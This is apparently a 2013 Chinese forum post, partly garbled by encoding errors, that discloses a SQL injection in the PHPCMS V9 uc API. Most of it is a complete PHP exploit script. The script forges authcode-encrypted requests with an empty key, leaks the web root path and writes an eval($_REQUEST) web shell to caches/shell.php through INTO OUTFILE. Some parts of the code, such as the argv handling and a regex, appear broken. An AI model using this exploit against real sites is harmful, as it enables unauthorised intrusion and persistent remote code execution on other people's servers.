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admin ������ 2013-2-9 01:22:59

PHPCMS V9 uc API SQLע��©��

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1.���ucenter����������uc_key��
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
2. deleteuser�ӿڴ���SQLע��©����UC�㷨���ܵIJ����޾�GPC,����Աδ��ʶ��$get['ids']�����SQLע�������
    public function deleteuser($get,$post) {
      pc_base::load_app_func('global', 'admin');
      pc_base::load_app_class('messagequeue', 'admin' , 0);
      $ids = new_stripslashes($get['ids']);
      $s = $this->member_db->select("ucuserid in ($ids)", "uid");
SQL���Ϊ
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)

���ô��룬���ƴ�˸�EXP����·������д�úܴ���BUG��û��ע�������ˣ����ø��ˣ�MYSQL��Ȩ�޵Ļ�ֱ��get webshell
<?php
print_r('
---------------------------------------------------------------------------
PHPcms (v9 or Old Version) uc api sql injection 0day
by rayh4c#80sec.com
---------------------------------------------------------------------------
');

if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv.' host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpcms
Options:
-p:    specify a port other than 80
-P: specify a proxy
Example:
php '.$argv.' localhost /
php '.$argv.' localhost /phpcms/ -p81
php '.$argv.' localhost /phpcms/ -P1.1.1.1:80
---------------------------------------------------------------------------
');
    die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.=".";}
   else
   {$result.="".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
}
else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    $parts=(int)$parts;
    echo "Connecting to ".$parts.":".$parts." proxy...\r\n";
    $ock=fsockopen($parts,$parts);
    if (!$ock) {
      echo 'No response from proxy...';die;
        }
}
fputs($ock,$packet);
if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
}
else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
}
fclose($ock);
}

$host=$argv;
$path=$argv;
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i].$argv[$i];
if ($temp=="-p")
{
$port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path<>'/') or ($path<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ? $key : '');
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
      $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
      $j = ($j + $box[$i] + $rndkey[$i]) % 256;
      $tmp = $box[$i];
      $box[$i] = $box[$j];
      $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
      $a = ($a + 1) % 256;
      $j = ($j + $box[$a]) % 256;
      $tmp = $box[$a];
      $box[$a] = $box[$j];
      $box[$j] = $tmp;
      $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
      if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
      } else {
            return '';
      }
    } else {
      return $keyc.str_replace('=', '', base64_encode($result));
    }

}

$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo " ���� http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"MySQL Errno") > 0){
echo " ���ִ���SQLע��©��"."\n";
echo " ���� http://".$host.$p."phpsso_server/api/logout.php \n";
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
preg_match('/?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
//print_r($matches);
if(!empty($matches)){
echo " �õ�web·�� " . $matches."\n";
echo " ����д���ļ� ". str_replace("\\","/",$matches) ."caches/shell.php"."\n";
$SQL = "time=999999999999999999999999&ids=1)";
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST);?>' into outfile '". str_replace("\\","/",$matches) ."caches/shell.php'#";
$SQL.="&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo " ���� http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"Access denied") > 0){
echo "[-] MYSQLȨ�޹��� ��ֹд���ļ� :(";
die;
}
echo " ���� http://".$host.$p."phpsso_server/caches/shell.php"."\n";
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"<title>phpinfo()</title>") > 0){
echo " ����phpinfo�ɹ���shell������a ! enjoy it :)";
}
}else{
echo "[-]δȡ��web·�� :(";
}
}else{
echo "[*]������SQLע��©��"."\n";
}

?>

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